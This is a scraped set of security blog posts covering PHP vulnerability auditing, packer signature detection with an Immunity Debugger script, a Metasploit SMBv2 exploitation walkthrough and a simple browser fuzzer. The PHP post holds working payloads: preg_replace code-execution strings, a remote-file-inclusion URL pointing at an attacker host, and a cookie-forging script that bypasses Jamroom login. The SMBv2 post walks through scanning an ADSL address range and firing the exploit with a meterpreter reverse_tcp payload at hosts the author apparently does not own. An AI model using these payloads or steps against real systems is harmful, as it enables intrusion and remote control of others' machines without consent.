My buddies at Corelan Team, my friends all over the world, and of course Shahin Ramezany for giving me the opportunity to publish this article on the abysssec.com website.
(oh … and by the way Shahin : I’m really sorry I ruined your game last night – sorry bro ;-) )
14 Mar
Hi .
Today , I decide talk about some of my experience about methods of vulnerability discovery techniques through source code auditing .
if you remember , around 1 years ago , i wrote This article :
20 ways to php Source code fuzzing (Auditing)
some time ago “Stefan Esser” made The Poster on the PHP Security . I’m going to have a brief description about most them with my experience in PHP Source code Auditing :
Most PHP Vulnerability :
1-Cross Site Scripting (XSS)
2-Cross Site Request Forgery (CSRF)
3-SQL Injection
4-Insecure Session Handling
5-Session Fixation
6-Information Disclosure
7-Header Injection
8-Insecure Configuration
9-Weak randomness
(for more information about how to find this issue in your source code , read my article :
http://abysssec.com/blog/2009/03/php_fuzz_audit/
And another describe [ Finding vulnerabilities in PHP scripts FULL ( with examples )]:
http://www.milw0rm.com/papers/381
These problem due to inaccuracy in ((In summary):
I – Secure Input Handling :
accept input from users without carefully to what is injected.
II – Sanitising :
Sanitizing functions can be used to “repair” user input, according to the application‘s restrictions (e.g. specific datatypes, maximum length) instead of rejecting potentially dangerous input entirely. In general, the use of sanitizing functions is not encouraged, because certain kinds and combinations of sanitizing filters may have security implications of their own. In addition, the automatic correction of typos could render the input syntactically or semantically incorrect.
for example :
III- Escaping :
There are several different kinds of escaping:
• The backslash prefix “\” defines a meta character within strings. For Example: \t is a tab
space, \n is a newline character, … This can be of particular interest for functions where the newline character has a special purpose, e.g. header(). Within regular expressions the backslash is used to escape special characters, such as \. or \*, which is relevant for all functions handling regular expressions.
• HTML encoding translates characters normally interpreted by the web browser as HTML into their encoded equivalents – e.g. < is < or < or < and > is > or > or >. HTML encoding should be used for output handling, where user input should be reflected in HTML without injecting code. (See also: htmlentities())
• URL encoding makes sure, that every character
not allowed within URLs, according to RFC 1738, is properly encoded. E.g. space converts to + or %20 and < is %3C. This escaping is relevant for functions handling URLs, such as urlencode() and urldecode().
IV – Configuration :
Programming errors, including logic program.
well , we know there are 4 points that can help us in the process :
[we need to find them and all functions and variables , that these have been assigned to them .]
input Point in PHP.Programing are :
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
Very good , the second point : our problem begine here . we can’t find Problem in source code like the past . Because Programmers use the limitation function . for Example , wherever you see the fllowing functions that contol input variable , possibly as many attacks are carried out . so you have two solutions : find problem in logic of code or find PHP bug in PHP CORE !
A) Escaping and Encoding Functions :
A-1 (XSS dies = 90% The direct transition is a dream) :
• htmlspecialchars() , Escapes the characters & < and > as HTML entities to protect the application against XSS. The correct character set and the mode : ENT_QUOTES should be used.
1 2 3 | <?php echo "Hello " . htmlspecialchars( $_GET['name'], ENT_QUOTES); ?> |
• htmlentities() , Applies HTML entity encoding to all applicable characters to protect the application against XSS. The correct character set and the mode ENT_QUOTES should be used.
1 2 3 | <?php echo "Hello " . htmlentities( $_GET['name'], ENT_QUOTES); ?> |
( htmlentities() bypass in special case [utf7] : http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html )
• urlencode() , Applies URL encoding as seen in the query part of a URL.
1 2 3 | <?php $url = "http://www.example.com/" . "index.php?param=" . urlencode($_GET['pa']); ?> |
A-2 : (SQL injection dies = 90% The direct transition is a dream) :
• addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.
• addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.
(bypass addslashes() in special case : http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html)
• mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.
Applications implementing string escaping as protection against SQL injection attacks should use this function.
1 2 3 | <?php $sql = "SELECT * FROM user WHERE" . " login='" . mysql_real_escape_string( $_GET['login'], $db) . "'"; ?> |
A-3 : (XSS , SQl Inject = 100% The direct transition is a dream) :
• preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.
Fix code :
1 2 3 | <?php $repl = preg_replace('/^' . preg_quote($_GET['part'], '/'). '-[0-9]{1,4}/', '', $str); ?> |
issue Code [Command Execute] :
1 2 3 4 | <?php $h = $_GET['h']; echo preg_replace("/test/e",$h,"jutst test"); ?> |
It works like this: http://site.com/test.php?h=phpinfo()
• escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.
1 2 3 | <?php system('resize /tmp/image.jpg' . escapeshellarg($_GET['w']).' '. escapeshellarg($_GET['h'])); ?> |
• escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.
1 2 3 | <?php system(escapeshellcmd( 'resize /tmp/image.jpg "' . $_GET['w']) . '" "' . $_GET['h']) . '"')); ?> |
B- CType Extension :
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:
• ctype_alnum()alphanumeric characters – A-Z, a-z, 0-9
• ctype_alpha()alphabetic characters – A-Z, a-z
• ctype_cntrl() control characters – e.g. tab, line feed
• ctype_digit()numerical characters – 0-9
• ctype_graph()characters creating visible output e.g. no whitespace
• ctype_lower()lowercase letters – a-z
• ctype_print()printable characters
• ctype_punct()punctuation characters – printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&$
• ctype_space()whitespace characters – e.g. newline, tab
• ctype_upper()uppercase characters – A-Z
• ctype_xdigit() hexadecimal digits – 0-9, a-f, A-F
1 2 3 4 5 | <?php if (!ctype_print($_GET['var'])) { die("User input contains ". "non-printable characters"); } ?> |
C – Filter Extension – ext/filter
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.
• filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.
1 2 3 | <?php $url = filter_input(INPUT_GET, 'url', FILTER_URL); ?> |
• filter_var()Filters a variable with the specified filter.
1 2 3 | <?php $url = filter_var($var, FILTER_URL); ?> |
List of Filters :
Validation Filters
• FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.
• FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.
• FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.
• FILTER_VALIDATE_REGEXPChecks the input against a regular expression.
• FILTER_VALIDATE_URLChecks whether the input is a URL.
• FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.
• FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.
Sanitising Filters
• FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().
• FILTER_SANITIZE_ENCODEDApplies URL encoding.
• FILTER_SANITIZE_SPECIAL_CHARSEncodes ‘ ” < > & \0 and optionally all characters > chr(127) into numeric HTML entities.
• FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.
• FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.
• FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.
• FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.
• FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().
Other Filters
• FILTER_UNSAFE_RAWIs a dummy filter.
• FILTER_CALLBACKCalls a userspace callback function defining the filter.
D) HTTP Header Output
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.
Dynamic content within parameters to Location
or Set-Cookie headers should be escaped by urlencode().
For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.
1 2 3 4 | <?php if (strpbrk($_GET['type'], ";/\r\n")) die('invalid characters'); header("Content-Type: text/" . $_GET['type'] . "; charset=utf-8;"); ?> |
Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.
E)Secure File Handling:
• Detect and replace NULL bytes:
1 2 3 4 5 | <?php if (strpos($_GET["f"], "\0") === true) { $file = str_replace("\0", "", $_GET["f"]); } ?> |
• Prevent remote file inclusion (path prefix) and directory traversal (basename):
1 2 3 | <?php $file = "./".basename($_GET["f"]). ".php"; ?> |
• Include only whitelisted files:
1 2 3 4 5 | <?php if (in_array($_GET['action'], array('index', 'logout'))) { include './'.$_GET['action'] . '.php'; } else die('action not permitted'); ?> |
3) Configuration point :
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .
we sea these Fllowing Configuration in code or PHP.ini Setting :
[a]- when Server don’t Disabling Remote URLs for File Handling Functions
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(‘http://www.example.com/’, ‘r’)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.
[b] Register Globals is ‘ON’ :
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it’s disabled by default from PHP 4.2.0 and on, because it’s dangerous on so many scales.
1 2 3 4 5 6 | <?php if (ereg("test.php", $PHP_SELF)==true) { include $server_inc."/step_one_tables.php"; } ?> |
demonstration :
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
[c] Server Don’t Limit Access to Certain File Name Patterns :
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn’t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc
Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.
Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn’t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~
[d] Error Messages and Logging is ON :
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.
.
And many other attacks, usually design by the programmer !
Real Word Example :
Exp 1 : PHP Code Execution:
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.
1 2 3 4 5 6 7 | <?php // Replace any usernames $ret = preg_replace("#\[:nom:([^\]]*)\]#e", "username(0, trim(\"\\1\"))", $ret); ?> |
php code execution is possible via complex variable evaluation.
[:nom:{${phpinfo()}}]
or this code :
1 2 3 4 5 6 7 8 9 10 11 | <?php if($globals['bbc_email']){ $text = preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text); } ?> |
abuse :
[email]{${phpinfo()}}[/email]
2- Configuration mistake : Authentication Bypass
There is a serious flaw in the Jamroom (JamRoom <= 3.3.8) authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php list($user,$hash) = unserialize(stripslashes($_val)); $user = trim(genc('get',$user)); $req = "SELECT user_nickname, user_password FROM {$jamroom_db['user']} WHERE user_nickname = '". dbEscapeString($user) ."' LIMIT 1"; $_rt = dbQuery($req,'SINGLE'); if (strlen($_rt['user_password']) === 0) { return(false); } if (md5($_rt['user_password'] . $sect) == $hash) { print_r($rt); return($_rt); } ?> |
The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required.
1 2 3 4 5 6 7 8 9 10 11 12 | <?php $data = array(); $user = 'admin'; // Target $data[0] = base64_encode(serialize($user)); $data[1] = (bool)0; echo "\n\n===[ 0 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); $data[1] = (bool)1; echo "\n\n===[ 1 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); ?> |
The above script is an example of how it works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the “identical” operator.
3- new bug :
http://www.sektioneins.com/en/advisories/advisory-022009-phpids-unserialize-vulnerability/index.html
in other post , i will publish some of our most recent research on browsers security and results we got on this topic as i promised in a few past posts .
regards
daphne
1 Jan
hello to you all
i,m really sorry for our late in posting we really working on lots of things … before starting about our subject i should tell you about our advisories and exploits we are not really full-disclosure believers but still we will post some more exploits and advisories at :
http://www.exploit-db.com/author/abysssec
so stay tuned.
OK let’s start ….
=========================================
before start if you are not familiar with PE : The Portable Executable (PE) format is a file format for executables, object code, and DLLs, used in 32-bit and 64-bit versions of Windows operating systems. The term “portable” refers to the format’s versatility in numerous environments of operating system software architecture.
for more information : http://en.wikipedia.org/wiki/Portable_Executable
- now the first question is what is a signature ?
a signature actually is what that means but in computer world and more specific in reverse engineering and binary auditing world a signature is a sequence of unique instructions (actually their representation op-codes) in target binary.
for better understanding please watch figure 1
figure 1 – a c++ compiled binary opened in immunity debugger
reminiscence : an opcode (operation code) is the portion of a machine language instruction that specifies the operation to be performed.
in above figure it have tree red rectangular :
so we will search for a sequence of unique op-codes (so sequence of instructions) in our target binary and those byte will be signature of our binary. simple enough eh ?
- what and who need to use a signature ?
so now you can imagine how an anti-virus company can detect a malware and how PE-Detection tools (witch areused for detecting signature in compiled binary and determine compiler / packer / compressor and … ) works .
- next question is why we need care about signatures:
-how we can find signatures in binaries ?
we should search for static and constant location (static instructions) in our file but how we can find them? for answer to this question please watch PE file layout again :
figure 2 – PE file layout
we can search for signatures in a few areas :
each executable file have some other locations can be good for generating signature those are :
so we can just open the executable under debugger and copy a few OP-Codes from entry point and we are done ? of course not ! because in lots of situations entry point could be change refer to various factors like :
note : these changes are more on not “just compiled binaries” it means those have a packer / protector and ….
so how we can find reliable signatures ?
we need to research about variant program situations and then we can understand which bytes/instructions are constant and which are not then we can ignore dynamic bytes and rely to static bytes.
before a real case study i just want explain how packer/protectors works :
a packer will do what it sounds : packing a program. think about winzip it will comperes the program and actually will decrease size of program .
elementary packers just will compress the portable executable and will change entry point to decompression section for better understanding just watch below figure.
figure 3 How typical packer runtime works
1. Original data is located somewhere in the packer code data section
2. Original data is uncompressed to the originally linked location
3. Control is transferred to original code entry point (OEP)
Ok now you know how a basic packer works but today modern packers are not just compressor they will use a lots of anti-debugging technologies against debugger / disassembler to make reverser life harder. this technologies are out of scope of this post.
Ok for example if we want to make a signature for a new packer / protector we need to pack / protect variant executable (it’s better to test on different compiler / size) and then watch which byte of files are changed and which one are static !
you can use binary copy option in immunity debugger for starting our test
figure 4 binary copy
this program is packed with a really simple and good packer named FSG.
and my first signature will be :
87 25 5C AD 41 00 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33
so now i need to pack more files and check my selected Op-codes to know which one are changed and then we will replace changed op codes with ?? . after a few try we will get a signature like :
87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33
so if i search for these bytes i can find i can find them in any program those are packed with FSG v2 !
this example is really really simple for advanced packer we need really test more bytes to be sure our signature is good enough but from my experience length between 30-70 byte from entry point are good enough.
if you be smart you will select good instructions like sections those have 16-bit registers and instructions those are not used all times. so an example of really good signature can be below figure (taken from symantec slides) :
figure 5 ( a really good signature )
OK. now you can make you own signatures just by spending a few time on each target . there are several tools can be use for detecting signatures if executable most popular of them are :
but all of them have a same problem not so update signatures ! so if you have a program that is packed by a really new packer or just a few byte take changed from their signature most of them will fail (intelligent signature detection is out of scope of this post) . so what we can do ? we should have our own database for our job .
so i collect all of existing signature database (those i found) in internet and i removed stupid and duplicated signature from the list those are :
after i combined all of their signature databases i changed a few of important signature to be more general and i added some new signature to my list and my final list right now have around 5064 unique and 4268 from entry point signature.
PEiD can parse external signatures and it’s nice but i liked to have detection in my debugger so i searched for a signature detection library in python (i like python) and with a quick search i found nice Pefile coded by Ero Carrera can handle all of our requirement in working with PE file not only handling signatures you can download it at :
http://code.google.com/p/pefile/
so i decide to use this library to write a pycommand for immunity debugger fortunately i found a copy of a pefile in immunity debugger lib ! so all i have to do is writing a few line of code that can read my database and test it against my binary and tell me the output .
so here is my complete script also have a option for auto-update .
#!/usr/bin/env python ''' This script is for identify packer/protector and compiler used in your target binary the first version have more than about 5000 signatures ... we will try to updates signatures monthly and for now it will use entry point scaning method ... Tree Important Notes : First the database signatures are reaped by lots of people we should thanks them : BoBSoft at Team PEID , fly , diablo2oo2 and others you can find their name in list ... Second A big thanks to Ero Carrera for his nice python pefile lib the hard part of processing singanutes is done by his library . Third we updated some of signatures and will keep update them monthly for detection newer version of packers / comprassion algorithm (hopefully) thanks to nicolas waisman / Muts (offsec) and all of abysssec memebers ... Feel free to contact me with admin [at] abysssec.com ''' #import python libraries import os import sys import getopt import pefile import immlib import peutils import hashlib import shutil import urllib __VERSION__ = '0.2' DESC= "Immunity PyCommand PeDectect will help you to identfy packer / protection used in target binary" USAGE = "!PeDetect" #global downloaded = 0 #Using debugger functionality imm = immlib.Debugger() # pedram's urllib_hook def urllib_hook (idx, slice, total): global downloaded downloaded += slice completed = int(float(downloaded) / float(total) * 100) if completed > 100: completed = 100 imm.Log(" [+] Downloading new signatures ... %d%%" % completed) # Downloader function def get_it (url, file_name): global downloaded downloaded = 0 u = urllib.urlretrieve(url, reporthook=urllib_hook) #imm.Log("") shutil.move(u[0], file_name) # Calculate MD5Checksum for specific file def md5checksum(fileName, excludeLine="", includeLine=""): m = hashlib.md5() try: fd = open(fileName,"rb") except IOError: imm.Log("Unable to open the file in readmode:", filename) return content = fd.readlines() fd.close() for eachLine in content: if excludeLine and eachLine.startswith(excludeLine): continue m.update(eachLine) m.update(includeLine) return m.hexdigest() # Simple Usage Function def usage(imm): imm.Log("!PeDetect -u (for updating signature ... )" ) # Auto-Update function def update(): # Using urlretrieve won't overwrite anything try: download = urllib.urlretrieve('http://abysssec.com/AbyssDB/Database.TXT') except Exception , problem: imm.Log ("Error : %s"% problem) # Computation MD5 cheksum for both existing and our current database AbyssDB = md5checksum(download[0]) ExistDB = md5checksum('Data/Database.TXT') imm.Log(" [!] Checking for updates ..." , focus=1, highlight=1) imm.Log("") imm.Log(" [*] Our database checksum : %s "%AbyssDB) imm.Log(" [*] Your database checksum : %s "%ExistDB) imm.Log("") if AbyssDB != ExistDB: imm.Log("[!] Some update founds updating ....") # Removing existing one for be sure ... if os.path.exists('Data/Database.txt'): os.remove('Data/Database.txt') # Download latest database try: get_it("http://abysssec.com/AbyssDB/Database.TXT", "Data/Database.txt") except Exception,mgs: return " [-] Problem in downloading new database ..." % mgs imm.log(" [+] Update Comepelete !") else: imm.Log(" [!] You have our latest database ...") # Main Fuction def main(args): if args: if args[0].lower() == '-u': update() else: imm.Log("[-] Bad argumant use -u for update ...") return "[-] Bad argumant use -u for update ..." else: try: # Getting loded exe path path = imm.getModule(imm.getDebuggedName()).getPath() except Exception, msg: return "Error: %s" % msg # Debugged Name name = imm.getDebuggedName() # Loading loaded pe ! pe = pefile.PE(path) # Loading signatures Database signatures = peutils.SignatureDatabase('Data/Database.TXT') # Mach the signature using scaning entry point only ! matched = signatures.match(pe , ep_only=True) imm.Log("=================== Abysssec.com =======================") imm.Log("") imm.Log("[*] PeDetect By Shahin Ramezany" , focus=1, highlight=2) #imm.Log("=============================================================") imm.Log("[*] Total loaded signatures : %d" % (signatures.signature_count_eponly_true + signatures.signature_count_eponly_false + signatures.signature_count_section_start)) imm.Log("[*] Total ep_only signatures : %d" % signatures.signature_count_eponly_true) #imm.Log("=============================================================") imm.Log("") # Signature found or not found ! if matched: imm.log("[*] Processing : %s " % name) imm.Log("[+] Signature Found : %s " % matched , focus=1, highlight=1) imm.Log("") else: imm.log("[*] Processing %s !" % name) imm.Log(" [-] Signatue Not Found !" , focus=1, highlight=1) imm.Log("") # Checking for arguements ! if not args: usage(imm) return "[+] See log window (Alt-L) for output / result ..." |
for using this script you just need copy PeDetect.py in you PyCommand directory in immunity debugger python then copy Database.TXT in DATA folder in immunity debugger. after this you just need run it from immunity debugger command bar using !PeDetect you can see the output of this script against some files…
figure 6 – output of PeDetect against not packed file
figure 7 – output against packed file
also this have an argument !PeDetect -u for updating your signature to our latest database. notice that my script will use md5checksum so your changes meaning it won’t be same as my database and your database will be update automatically.
figure 8 – update command
PS : after i wrote this i saw another PyCommand named scanpe wrote by BoB at PeiD it’s really good and have PE scan option but have not update update so no more new signatures …
references :
download PeDetect (database + pycommand) from : (please read the ReadMe.txt for installation guide)
http://abysssec.com/files/PeDetect.zip
happy new years !
cheers
2 Oct
hello all
in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you Stephen Fewer finally released his exploit for metasploit too.
a note : stephen exploit is no so reliable refer to selecting address in HAL but it’s free …
metasploit 3.3 DEV have this module by default .
and here are steps for exploitation using metasploit
step 0:
run msfconsole.bat
step 1 :
scanning for targets
msf > use auxiliary/scanner/smb/smb2
msf auxiliary(smb2) > set RHOSTS xx.xx.xx.x-xx.xx.xx.254
RHOSTS =>xx.xx.xx.x-xx.xx.xx.254
msf auxiliary(smb2) > set THREADS 50
THREADS => 50
msf auxiliary(smb2) > run
for example i found on my ADSL range :
[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours
step 2 :
now you need check version of founded target (i think it’s better to know before send your exploit)
msf auxiliary(smb2) > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run
[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run
[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7229) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run
[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)
[*] Auxiliary module execution completed
as you may noticed i just found one windows vista and two others are windows 7 .this exploit will work against vista sp1-2 and windows 2008 (not rc2)
step 3 :
now you can set and send exploit
msf auxiliary(version) > use exploit/windows/smb/smb2_negotiate_func_index
msf exploit(smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
set msf exploit(smb2_negotiate_func_index) > set LPORT 5678
LPORT => 5678
msf exploit(smb2_negotiate_func_index) > set LHOST xx.xx.xx.x
LHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > set RHOST xx.xx.xx.x
RHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > exploit
and here is output of metasploit exploit on my target :
note : i will try to have a technical detail post for exploitation and also my version of exploit for you soon.
happy hunting
shahin
21 Aug
Hello all
in this post , i wanna talk about web browser Fuzzing and auditing.
web browsers , such as FireFox , Opera , Internet Explorer and etc .. , are very convertible with new web technologies.
For example :
when html5 comes , Firefox added html5 features to itself too. and a clever Attacker could recognizing this change and we will be able to find Security holes .
for more information please read :
w3.org publish paper with this title: HTML 5 differences from HTML 4
http://www.w3.org/TR/2009/WD-html5-diff-20090212/
and take HTML5 Overview :
http://dev.w3.org/html5/spec/Overview.html
please pay attention to differences between FF3 & FF3.5 :
These changes include support for the <video> and <audio> tags as defined in the HTML 5 specification, with a goal to offer video playback without being encumbered by patent issues associated with many video technologies.
Cross-site XMLHttpRequests (XHR), which can allow for more powerful web applications and an easier way to implement mashups, are also implemented in 3.5.
A new global JSON object contains native functions to efficiently and safely serialize and deserialize JSON objects, as specified by the ECMAScript 3.1 draft.
Full CSS 3 selector support has been added. Firefox 3.5 uses the Gecko 1.9.1 engine, which includes a few features that were not included in the 3.0 release. Multi-touch support was also added to the release, including gesture support like pinching for zooming and swiping for back and forward.
and then milw0rm.com publish new exploit in “Firefox font tag !”
http://www.milw0rm.com/exploits/9137
we are not bloodsucker , we try to act like a real hacker , Real hacker (Pen-tester i mean) think about how to find this type of bug .
since we know about all of new features in new web browsers such as of FF and we can test features as a security researcher as well.
Browser Vulnerability Assessment has tree step :
1 – Find HTML or XML or javascript <tag> browser can support , for example :
http://msdn.microsoft.com/en-us/library/ms533050%28VS.85%29.aspx [IE]
2- find Properties , Methods , Collections , Events ,Constants , Prototypes , HTML Elements for each <tag> .
3- misuse property of <tag> or fuzzed tag for buffer-overflow and other memory corruption vulnerabilities (in this case)
for example :
we want find memory corruption vulnerability using , unbound check in <font> tag, in Internet explorer 8 !:
<font color=”#727272″>test</font>
take a look at “MSDN” :
http://msdn.microsoft.com/en-us/library/ms535248%28VS.85%29.aspx
second : find “Attribute” and “property” of <font> tag , such as :
‘color’, ‘face’, ‘size’, ‘class’, ‘id’, ‘style’, ‘title’, ‘dir’, ‘lang’, ‘accesskey’, ‘tabindex’
third : build random character for “overflows ” , “FormatString” , and other memory corruptions …
for example to be more clear i wrote a really basic fuzzer in python :
(for sure this is not a commercial fuzzer)
# Abysssec Inc public material # Simple Browser Fuzzer # Abysssec.com #garbage char overflows = ['A' * 10, 'A' * 20, 'A' * 100, 'A' * 200] fmtstring = ['%n%n%n%n%n', '%p%p%p%p%p', '%s%s%s%s%s', '%d%d%d%d%d', '%x%x%x%x%x'] numbers = ['0', '-0', '1', '-1', '32767', '-32768', '2147483647', '-2147483647', '2147483648', '-2147483648'] # FONT property fontpropery = ['color', 'face', 'size', 'class', 'id', 'style', 'title', 'dir', 'lang', 'accesskey', 'tabindex'] #basic Automated Fuzzer : i = 0 for x in fontpropery: for y in overflows: tag = "<span>TEST</span>" i = i + 1 file = open( str(i) + ".html","w") file.writelines('') file.writelines(tag) file.close() for y in fmtstring: tag = "<span>TEST</span>" i = i + 1 file = open( str(i) + ".html","w") file.writelines('') file.writelines(tag) file.close() for y in numbers: tag = "<span>TEST</span>" i = i + 1 file = open( str(i) + ".html","w") file.writelines('') file.writelines(tag) file.close() |
for start fuzzing , add refresh page with next page . [for start fuzz click 1.html]
another way :
“Jeremy Brown” developed this a fuzzer for general browser fuzzing” :
http://www.krakowlabs.com/dev/fuz/bf2/bf2.pl.txt
this fuzzer is good but it’s really simple too and can’t find new vulnerabilities without modifying but you can extend it for new method of browser <tag > fuzz .
more info :
http://www.krakowlabs.com/dev/fuz/bf2/bf2_doc.txt
Browser Auditing :
browser source code auditing is actually white-box testing and only is useful when you have an open source browser like Firefox and …. .
source code auditing is really practical , but need higher then knowledge in programming (always C/C++)
for example , in firefox :
you can download all versions source code from here :
ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases
more source code of FF written by C++ , my interested C++ source code Auditor is : CPPcheck
http://sourceforge.net/apps/mediawiki/cppcheck
Important point that we understand from this Post :
why we can’t found bugs from this ways ?
i try to answer this question in future post .
————————————————————-
and this write-up is for tell you we are “not dead”
wait for out new advisories + exploits soon as soon possible
god speed you
Daphne
———–
unfortunately , we had mistake in our simple fuzzer , now edit & repaired .
thanks .
Daphne /